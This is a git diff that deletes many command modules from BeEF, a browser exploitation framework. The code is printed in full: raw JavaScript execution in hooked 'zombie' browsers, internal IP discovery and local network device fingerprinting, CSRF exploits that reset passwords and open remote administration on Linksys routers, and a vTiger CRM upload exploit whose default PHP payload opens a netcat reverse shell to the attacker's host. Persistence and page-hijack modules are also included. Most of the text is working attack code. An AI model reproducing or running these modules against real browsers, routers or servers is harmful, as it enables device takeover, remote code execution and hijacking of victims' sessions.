- }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => ALL - }) - - use 'beef.dom' - use_template! - end - - def callback - content = {} - content['Result'] = @datastore['result'] - save content - - end - -end - -end -end -end \ No newline at end of file diff --git a/modules/commands/misc/prompt_dialog/prompt_dialog.js b/modules/commands/misc/prompt_dialog/prompt_dialog.js deleted file mode 100644 index b00965044..000000000 --- a/modules/commands/misc/prompt_dialog/prompt_dialog.js +++ /dev/null @@ -1,5 +0,0 @@ -beef.execute(function() { - - var answer = prompt("<%== @question %>","") - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer='+escape(answer)); -}); diff --git a/modules/commands/misc/prompt_dialog/prompt_dialog.rb b/modules/commands/misc/prompt_dialog/prompt_dialog.rb deleted file mode 100644 index c53baf894..000000000 --- a/modules/commands/misc/prompt_dialog/prompt_dialog.rb +++ /dev/null @@ -1,43 +0,0 @@ -module BeEF -module Modules -module Commands - -class Prompt_dialog < BeEF::Command - - def initialize - super({ - 'Name' => 'Prompt Dialog', - 'Description' => 'Sends a prompt dialog to the victim', - 'Category' => 'Misc', - 'Author' => 'bm', - 'Data' => [ - {'name' =>'question', 'ui_label'=>'Prompt text'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => ALL - }) - - use_template! - end - - # - # This method is being called when a zombie sends some - # data back to the framework. - # - def callback - -# return if @datastore['answer']=='' - - save({'answer' => @datastore['answer']}) - end - -end - - -end -end -end \ No newline at end of file diff --git a/modules/commands/misc/raw_javascript/raw_javascript.js b/modules/commands/misc/raw_javascript/raw_javascript.js deleted file mode 100644 index 37c299dd8..000000000 --- a/modules/commands/misc/raw_javascript/raw_javascript.js +++ /dev/null @@ -1,18 +0,0 @@ -beef.execute(function() { - var result; - - try { - result = function() {<%= @cmd %>}(); - } catch(e) { - for(var n in e) - result+= n + " " + e[n] + "\n"; - } - - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); -}); - - - - - - diff --git a/modules/commands/misc/raw_javascript/raw_javascript.rb b/modules/commands/misc/raw_javascript/raw_javascript.rb deleted file mode 100644 index f54f349f5..000000000 --- a/modules/commands/misc/raw_javascript/raw_javascript.rb +++ /dev/null @@ -1,46 +0,0 @@ -module BeEF -module Modules -module Commands - -class Raw_javascript < BeEF::Command - - def initialize - super({ - 'Name' => 'Raw Javascript', - 'Description' => %Q{ - This module will send the code entered in the 'JavaScript Code' section to the selected - zombie browsers where it will be executed. Code is run inside an anonymous function and the return - value is passed to the framework. Multiline scripts are allowed, no special encoding is required. - }, - 'Category' => 'Misc', - 'Author' => ['wade','vo'], - 'Data' => - [ - {'name' => 'cmd', 'ui_label' => 'Javascript Code', 'value' => "alert(\'BeEF Raw Javascript\');\nreturn \'It worked!\';", 'type' => 'textarea', 'width' => '400px', 'height' => '100px'}, - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use_template! - end - - # - # This method is being called when a zombie sends some - # data back to the framework. - # - def callback - - save({'result' => @datastore['result']}) - end - -end - - -end -end -end \ No newline at end of file diff --git a/modules/commands/misc/replace_video/replace_video.js b/modules/commands/misc/replace_video/replace_video.js deleted file mode 100644 index 41bd4fe06..000000000 --- a/modules/commands/misc/replace_video/replace_video.js +++ /dev/null @@ -1,15 +0,0 @@ -beef.execute(function() { - - $j('<%= @jquery_selector %>').each( - function ( intIndex ) { - - var width = $j(this).css('width'); - var height = $j(this).css('height'); - - $j(this).replaceWith(''); - - } - ) - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Replace Video Succesfull"); -}); diff --git a/modules/commands/misc/replace_video/replace_video.rb b/modules/commands/misc/replace_video/replace_video.rb deleted file mode 100644 index dfd07c1dc..000000000 --- a/modules/commands/misc/replace_video/replace_video.rb +++ /dev/null @@ -1,45 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Replace_video < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'Replace Video', - 'Description' => 'Replaces an object selected with jQuery (all embed tags by default) with an embed tag containing the youtube video of your choice (rickroll by default).', - 'Category' => 'Misc', - 'Author' => 'Yori Kvitchko', - 'Data' => - [ - {'name' => 'youtube_id', 'ui_label' => 'YouTube Video ID', 'value' => 'dQw4w9WgXcQ', 'width'=>'150px'}, - {'name' => 'jquery_selector', 'ui_label' => 'jQuery Selector', 'value' => 'embed', 'width'=>'150px'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => ALL - }) - - use 'beef.dom' - use_template! - end - - def callback - content = {} - content['Result'] = @datastore['result'] - save content - - end - -end - -end -end -end \ No newline at end of file diff --git a/modules/commands/misc/rickroll/rickroll.js b/modules/commands/misc/rickroll/rickroll.js deleted file mode 100644 index 5b8dc4c6b..000000000 --- a/modules/commands/misc/rickroll/rickroll.js +++ /dev/null @@ -1,10 +0,0 @@ -beef.execute(function() { - $j('body').html(''); - - $j('body').css({'padding':'0px', 'margin':'0px', 'height':'100%'}); - $j('html').css({'padding':'0px', 'margin':'0px', 'height':'100%'}); - - $j('body').html(''); - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Rickroll Succesfull"); -}); diff --git a/modules/commands/misc/rickroll/rickroll.rb b/modules/commands/misc/rickroll/rickroll.rb deleted file mode 100644 index e4220498a..000000000 --- a/modules/commands/misc/rickroll/rickroll.rb +++ /dev/null @@ -1,43 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Rickroll < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'Rickroll', - 'Description' => 'Overwrite the body of the page the victim is on with a full screen Rickroll.', - 'Category' => 'Misc', - 'Author' => 'Yori Kvitchko', - 'Data' => - [ - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => ALL - }) - - use 'beef.dom' - use_template! - end - - def callback - content = {} - content['Result'] = @datastore['result'] - save content - - end - -end - -end -end -end \ No newline at end of file diff --git a/modules/commands/network/detect_local_settings/detect_local_settings.js b/modules/commands/network/detect_local_settings/detect_local_settings.js deleted file mode 100644 index b759d3672..000000000 --- a/modules/commands/network/detect_local_settings/detect_local_settings.js +++ /dev/null @@ -1,10 +0,0 @@ -beef.execute(function() { - - var internal_ip = beef.net.local.getLocalAddress(); - var internal_hostname = beef.net.local.getLocalHostname(); - - if(internal_ip && internal_hostname) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, - 'internal_ip='+internal_ip+'&internal_hostname='+escape(internal_hostname)); - } -}); diff --git a/modules/commands/network/detect_local_settings/detect_local_settings.rb b/modules/commands/network/detect_local_settings/detect_local_settings.rb deleted file mode 100644 index 123269c68..000000000 --- a/modules/commands/network/detect_local_settings/detect_local_settings.rb +++ /dev/null @@ -1,49 +0,0 @@ -module BeEF -module Modules -module Commands - -class Detect_local_settings < BeEF::Command - - def initialize - super({ - 'Name' => 'Detect local settings', - 'Description' => 'Grab the local network settings (i.e internal ip address)', - 'Category' => 'Network', - 'Author' => ['pdp', 'wade', 'bm'], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => FF - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => C - }) - - set_target({ - 'verified_status' => VERIFIED_NOT_WORKING, - 'browser_name' => IE - }) - - use 'beef.net.local' - use_template! - end - - def callback - content = {} - content['internal ip'] = @datastore['internal_ip'] if not @datastore['internal_ip'].nil? - content['internal hostname'] = @datastore['internal_hostname'] if not @datastore['internal_hostname'].nil? - - content['fail'] = 'could not grab local network settings' if content.empty? - - save content - end - -end - -end -end -end \ No newline at end of file diff --git a/modules/commands/network/detect_local_settings/fingerprint_local_network.js b/modules/commands/network/detect_local_settings/fingerprint_local_network.js deleted file mode 100644 index c9ebbecc3..000000000 --- a/modules/commands/network/detect_local_settings/fingerprint_local_network.js +++ /dev/null @@ -1,51 +0,0 @@ -beef.execute(function() { - - var dom = document.createElement('b'); - var ips = [ - 'http://192.168.0.1', - 'http://192.168.0.100', - 'http://192.168.0.254', - 'http://192.168.1.1', - 'http://192.168.1.100', - 'http://192.168.1.254', - 'http://10.0.0.1', - 'http://10.1.1.1', - 'http://192.168.2.1', - 'http://192.168.2.254', - 'http://192.168.100.1', - 'http://192.168.100.254', - 'http://192.168.123.1', - 'http://192.168.123.254' - ]; - var urls = new Array( - new Array("QNAP NAS",":8080","/ajax_obj/img/running.gif",16,16), - new Array("QNAP NAS",":8080","/ajax_obj/images/qnap_logo_w.gif",115,21), - new Array("Belkin Router",":80","/images/title_2.gif",321,28), - new Array("SMC Networks",":80","/images/logo.gif",133,59), - new Array("Linksys NAS",":80","/Admin_top.JPG",750,52), - new Array("Linksys NAS",":80","/logo.jpg",194,52), - new Array("Linksys Network Camera",":80","/welcome.jpg",146,250), - new Array("Linksys Wireless-G Camera",":80","/header.gif",750,97), - new Array("Cisco IP Phone",":80","/Images/Logo",120,66), - new Array("Snom Phone",":80","/img/snom_logo.png",168,62), - new Array("Brother Printer",":80","/pbio/brother.gif",144,52), - new Array("HP LaserJet",":80","/hp/device/images/logo.gif",42,27) - ); - - // for each ip - for(var i=0; i < ips.length; i++) { - - // for each url - for(var u=0; u < urls.length; u++) { - var img = new Image; - img.id = u; - img.src = ips[i]+urls[u][1]+urls[u][2]; - //img.title = ips[i]+urls[u][1]; - img.onload = function() { if (this.width == urls[this.id][3] && this.height == urls[this.id][4]) { beef.net.send('<%= @command_url %>', <%= @command_id %>,'device='+escape(urls[this.id][0])+"&url="+escape(this.src));dom.removeChild(this); } } - dom.appendChild(img); - } - } - // setTimeout("beef.net.send('<%= @command_url %>', <%= @command_id %>,'device=Failed')", 60000) - -}); - diff --git a/modules/commands/network/detect_local_settings/fingerprint_local_network.rb b/modules/commands/network/detect_local_settings/fingerprint_local_network.rb deleted file mode 100644 index 214ccd3a7..000000000 --- a/modules/commands/network/detect_local_settings/fingerprint_local_network.rb +++ /dev/null @@ -1,70 +0,0 @@ -module BeEF -module Modules -module Commands -# -# Fingerprint local network module -# This module attempts to fingerprint embedded devices within the zombies' -# local network. It does this by loading images on common local network -# IP addresses then matching the image width, height and path to those -# for a known device. -# -# TODO # -# -# Add IPv6 support -# Add HTTPS support -# - Devices with invalid certs are blocked by IE and FF by default -# Improve stealth -# - Load images with CSS "background:" CSS to avoid http auth login popups -# Improve speed -# - Make IP addresses a user-configurable option rather than a hard-coded list -# - Detect local ip range first - using browser history and/or with java -# - History theft via CSS history is patched in modern browsers. -# - Local IP theft with Java is slow and may fail - - -class Fingerprint_local_network < BeEF::Command - - def initialize - super({ - 'Name' => 'Fingerprint local network', - 'Description' => 'Scan common local network IP addresses for embedded devices.', - 'Category' => 'Network', - 'Author' => ['bcoles@gmail.com', 'wade'], - 'File' => __FILE__ - }) - - # Doesn't work in FF4 (but works in 3.x) - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => FF - }) - - set_target({ - 'verified_status' => VERIFIED_NOT_WORKING, - 'browser_name' => O - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => IE - }) - - use_template! - end - - def callback - content = {} - content['device'] =@datastore['device'] if not @datastore['device'].nil? - content['url'] = @datastore['url'] if not @datastore['url'].nil? - if content.empty? - content['fail'] = 'Did not detect any local network devices' - end - save content - end - -end - -end -end -end - diff --git a/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.js b/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.js deleted file mode 100644 index a43eac2bf..000000000 --- a/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.js +++ /dev/null @@ -1,5 +0,0 @@ -beef.execute(function() { - var iframe = beef.dom.createInvisibleIframe(); - iframe.setAttribute('src', '<%= @base %>Gozila.cgi?PasswdModify=1&sysPasswd=<%= @password %>&sysPasswdConfirm=<%= @password %>&Remote_Upgrade=1&Remote_Management=1&RemotePort=<%= @port %>&UPnP_Work=0'); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); -}); diff --git a/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.rb b/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.rb deleted file mode 100644 index d82cabbb0..000000000 --- a/modules/commands/network/linksys_befsr41_csrf/befsr41_csrf.rb +++ /dev/null @@ -1,41 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Befsr41_csrf < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'Linksys BEFSR41 CSRF Exploit', - 'Description' => 'Attempts to enable remote administration and change the password on a Linksys BEFSR41 router.', - 'Category' => 'Network', - 'Author' => 'Martin Barbella', - 'Data' => [ - {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'}, - {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'}, - {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use_template! - end - - def callback - save({'result' => @datastore['result']}) - end - -end - -end -end -end diff --git a/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.js b/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.js deleted file mode 100644 index 746f8076b..000000000 --- a/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.js +++ /dev/null @@ -1,92 +0,0 @@ -beef.execute(function() { - var port = '<%= @port %>'; - var gateway = '<%= @base %>'; - var passwd = '<%= @password %>'; - - var target = gateway + "Manage.tri"; - - var iframe = beef.dom.createInvisibleIframe(); - - var form = document.createElement('form'); - form.setAttribute('action', target); - form.setAttribute('method', 'post'); - - var input = null; - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_USE_HTTP'); - input.setAttribute('value', 0); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_HTTP'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_HTTP_S'); - input.setAttribute('value', 0); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_PASSWORDMOD'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_PASSWORD'); - input.setAttribute('value', passwd); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_PASSWORD_CONFIRM'); - input.setAttribute('value', passwd); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', '_http_enable'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_WLFILTER'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_REMOTE'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_PORT'); - input.setAttribute('value', port); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'MANAGE_UPNP'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'layout'); - input.setAttribute('value', 'en'); - form.appendChild(input); - - iframe.contentWindow.document.body.appendChild(form); - form.submit(); - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); -}); diff --git a/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.rb b/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.rb deleted file mode 100644 index 477d50a93..000000000 --- a/modules/commands/network/linksys_wrt54g2_csrf/wrt54g2_csrf.rb +++ /dev/null @@ -1,41 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Wrt54g2_csrf < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'Linksys WRT54G2 CSRF Exploit', - 'Description' => 'Attempts to enable remote administration and change the password on a Linksys WRT54G2 router.', - 'Category' => 'Network', - 'Author' => 'Martin Barbella', - 'Data' => [ - {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'}, - {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'}, - {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use_template! - end - - def callback - save({'result' => @datastore['result']}) - end - -end - -end -end -end diff --git a/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.js b/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.js deleted file mode 100644 index 2100fb4de..000000000 --- a/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.js +++ /dev/null @@ -1,92 +0,0 @@ -beef.execute(function() { - var port = '<%= @port %>'; - var gateway = '<%= @base %>'; - var passwd = '<%= @password %>'; - - var target = gateway + "manage.tri"; - - var iframe = beef.dom.createInvisibleIframe(); - - var form = document.createElement('form'); - form.setAttribute('action', target); - form.setAttribute('method', 'post'); - - var input = null; - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'remote_mgt_https'); - input.setAttribute('value', 0); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'http_enable'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'https_enable'); - input.setAttribute('value', 0); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'PasswdModify'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'http_passwd'); - input.setAttribute('value', passwd); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'http_passwdConfirm'); - input.setAttribute('value', passwd); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', '_http_enable'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'web_wl_filter'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'remote_management'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'http_wanport'); - input.setAttribute('value', port); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'upnp_enable'); - input.setAttribute('value', 1); - form.appendChild(input); - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'layout'); - input.setAttribute('value', 'en'); - form.appendChild(input); - - iframe.contentWindow.document.body.appendChild(form); - form.submit(); - - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); -}); diff --git a/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.rb b/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.rb deleted file mode 100644 index bb00af083..000000000 --- a/modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.rb +++ /dev/null @@ -1,41 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Wrt54g_csrf < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'Linksys WRT54G CSRF Exploit', - 'Description' => 'Attempts to enable remote administration and change the password on a Linksys WRT54G router.', - 'Category' => 'Network', - 'Author' => 'Martin Barbella', - 'Data' => [ - {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'}, - {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'}, - {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use_template! - end - - def callback - save({'result' => @datastore['result']}) - end - -end - -end -end -end diff --git a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js deleted file mode 100644 index 236865722..000000000 --- a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js +++ /dev/null @@ -1,186 +0,0 @@ -// VtigerCRM <= 5.0.4 "chained exploitation" PoC -// Hacked up for OWASP New Zealand Day, July 13th 2009 -// -// Thanks for the BeEF Wade :) - -// Ported to Ruby BeEF by xntrik 2010 - -beef.execute(function() { - - //Doing the same trick I used in detect_tor to ensure exploit runs once - // xntrik - - if (document.getElementById('vtigerimg')) { - //document.body.removeChild(document.getElementById('vtigerimg')); - //beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=There was a stagnant vtiger ID. Aborted!'); - return "Exploit running already"; - } - - var img = new Image(); - img.setAttribute("style","visibility:hidden"); - img.setAttribute("width","0"); - img.setAttribute("height","0"); - img.id = 'vtigerimg'; - - document.body.appendChild(img); - - baseurl = "<%= @vtiger_url %>"; - - function do_upload(){ - setTimeout(function() {ajax_upload()}, 1000); - } - - // In a nutshell: - // - // 1) build url - // 2) construct the request object - // 3) POST the form - // 4) once requestdone, call do_callfile() - - function ajax_upload(){ - var targeturl = baseurl + '/index.php?module=uploads&action=add2db&return_module=Home&return_action=index'; - - http_request = false; - http_request = beef.net.get_ajax(); - if (!http_request) { - // fail silently! - return false; - } - - //prepare the POST - var boundaryString = 'PWNED'; - var boundary = '-----------------------------PWNED'; - var requestbody = - boundary + '\r\n' - + 'Content-Disposition: form-data; name="MAX_FILE_SIZE"' + '\r\n' - + '\r\n' - + 3000000 + '\r\n' - + boundary - + '\r\n' - + 'Content-Disposition: form-data; name="return_module"' + '\r\n' - + '\r\n' - + '\r\n' - + boundary - + '\r\n' - + 'Content-Disposition: form-data; name="return_action"' + '\r\n' - + '\r\n' - + '\r\n' - + boundary - + '\r\n' - + 'Content-Disposition: form-data; name="return_id"' + '\r\n' - + '\r\n' - + '\r\n' - + boundary - + '\r\n' - + 'Content-Disposition: form-data; name="uploadsubject"' + '\r\n' - + '\r\n' - + '\r\n' - + boundary - + '\r\n' - + 'Content-Disposition: form-data; name="filename"; filename="vtiger-fun.PHP"' + '\r\n' - + 'Content-Type: application/x-httpd-php' + '\r\n' - + '\r\n' - + '<\?php' + '\r\n' - + '<%= @vtiger_php %>' + '\r\n' - + '\?>' + '\r\n' - + '\r\n' - + boundary - + '\r\n' - + 'Content-Disposition: form-data; name="filename_hidden"' + '\r\n' - + '\r\n' - + 'vtiger-fun.PHP' - + '\r\n' - + boundary - + '\r\n' - + 'Content-Disposition: form-data; name="txtDescription"' + '\\r\n' - + '\r\n' - + 'drop it like its hot' + '\r\n' - + boundary - + '\r\n' - + 'Content-Disposition: form-data; name="save"' + '\r\n' - + '\r\n' - + 'Attach' + '\r\n' - + boundary; - - var uploadstate = 0; - - http_request.onreadystatechange = function() { - if (http_request.readyState == 4) { - if (http_request.status == 200) { - uploadstate = 3; - } else { - uploadstate = 2; - } - } else { - uploadstate = 1; - } - return; - }; - http_request.open("POST", targeturl, true); - http_request.setRequestHeader("Content-type", "multipart/form-data; boundary=---------------------------PWNED"); - http_request.setRequestHeader("Content-length", requestbody.length); - http_request.send(requestbody); - - setTimeout(function() { - if (uploadstate == 0) { - //something went way wrong - document.body.removeChild(document.getElementById('vtigerimg')); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Error in file upload'); - } else if (uploadstate == 1) { - //we never got a response from the server - document.body.removeChild(document.getElementById('vtigerimg')); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Server did not respond while trying to upload file'); - } else if (uploadstate == 2) { - //we got a response that was NOT a 200 - document.body.removeChild(document.getElementById('vtigerimg')); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Server gave an invalid response while trying to upload file'); - } else if (uploadstate == 3) { - //We got a 200, so hopefully the file was uploaded - //be_graceful(); - do_callfile(0,1000); - } - },<%= @upload_timeout %>); - - return; - } - - function do_callfile(start,count){ - if (document.getElementById('vtigerimg') == null) { - return false; - } - - for (i=start;i<=start+count;i++) - { - var http_request = false; - http_request = beef.net.get_ajax(); - if (!http_request) { - // fail silently! - return false; - } - - var findurl = baseurl + "<%= @vtiger_filepath %>" + i + "_vtiger-fun.PHP"; - var requestbody = "birds of a feather flock together"; - - http_request.open('POST', findurl, false); - http_request.setRequestHeader("Content-length", requestbody.length); - http_request.send(requestbody); - if (http_request.status == 200) { - document.body.removeChild(document.getElementById('vtigerimg')); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=File Uploaded AND Executed ('+findurl+')'); - return; - } - - } - return; - } - - // Try the upload - function do_main(){ - do_upload(); - return; - } - - // Run the sploit - do_main(); - -}); diff --git a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb deleted file mode 100644 index b50933cf1..000000000 --- a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb +++ /dev/null @@ -1,55 +0,0 @@ -module BeEF -module Modules -module Commands - -class Vtiger_crm_upload_exploit < BeEF::Command - - def initialize - time = Time.new - weekno = case time.day - when 1..7 then 1 - when 8..14 then 2 - when 15..21 then 3 - when 22..28 then 4 - else 5 - end - - @configuration = BeEF::Configuration.instance - beef_host = @configuration.get("http_public") || @configuration.get("http_host") - - super({ - 'Name' => 'VTiger CRM Upload Exploit', - 'Description' => 'This module demonstrates chained exploitation. It will upload and execute a reverse bindshell. The vulnerability is exploited in the CRM vtiger 5.0.4
The default PHP requires a listener, so don\'t forget to start one, for example: nc -l 8888', - 'Category' => 'Network', - 'Author' => ['wade', 'bm', 'pipes', 'xntrik'], - 'Data' => - [ - {'name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://vulnerable-vtiger.site','width'=>'400px'}, - {'name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/'+time.year.to_s()+'/'+time.strftime("%B")+'/week'+weekno.to_s()+'/','width'=>'400px'}, - {'name'=>'vtiger_php','ui_label'=>'Injected PHP','value'=>'passthru("/bin/nc -e /bin/sh '+beef_host+' 8888");','type'=>'textarea','width'=>'400px','height'=>'100px'}, - {'name'=>'upload_timeout','ui_label'=>'Upload Timeout','value'=>'5000'} - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => ALL - }) - - use 'beef.net.local' - - use_template! - end - - def callback - return if @datastore['result'].nil? - - save({'result' => @datastore['result']}) - end - -end - -end -end -end diff --git a/modules/commands/persistence/iframe_above/iframe_above.js b/modules/commands/persistence/iframe_above/iframe_above.js deleted file mode 100644 index 31529f070..000000000 --- a/modules/commands/persistence/iframe_above/iframe_above.js +++ /dev/null @@ -1,4 +0,0 @@ -beef.execute(function() { - beef.session.persistant(); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Links have been rewritten to spawn an iFrame.'); -}); diff --git a/modules/commands/persistence/iframe_above/iframe_above.rb b/modules/commands/persistence/iframe_above/iframe_above.rb deleted file mode 100644 index 8915fdb88..000000000 --- a/modules/commands/persistence/iframe_above/iframe_above.rb +++ /dev/null @@ -1,40 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Iframe_above < BeEF::Command - - # - # Defines and set up the commmand module. - # - def initialize - super({ - 'Name' => 'iFrame Persistance', - 'Description' => 'Rewrites all links on the webpage to spawn a 100% by 100% iFrame with a source relative to the selected link.', - 'Category' => 'Persistence', - 'Author' => 'passbe', - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_USER_NOTIFY, - 'browser_name' => ALL - }) - - use_template! - - end - - # This method is being called when a hooked browser sends some - # data back to the framework. - # - def callback - save({'result' => @datastore['result']}) - end - -end - -end -end -end diff --git a/modules/commands/persistence/popunder_window/popunder_window.js b/modules/commands/persistence/popunder_window/popunder_window.js deleted file mode 100644 index b82392a45..000000000 --- a/modules/commands/persistence/popunder_window/popunder_window.js +++ /dev/null @@ -1,10 +0,0 @@ -beef.execute(function() { - - var result="Pop-under window successfully created!"; - - window.open(window.location.protocol + '//' + window.location.host + '/demos/basic.html','popunder','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur(); - - window.focus(); - - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); -}); diff --git a/modules/commands/persistence/popunder_window/popunder_window.rb b/modules/commands/persistence/popunder_window/popunder_window.rb deleted file mode 100644 index 6b651b845..000000000 --- a/modules/commands/persistence/popunder_window/popunder_window.rb +++ /dev/null @@ -1,40 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Popunder_window < BeEF::Command - - # - # Defines and set up the commmand module. - # - def initialize - super({ - 'Name' => 'Pop Under Window', - 'Description' => 'Creates a 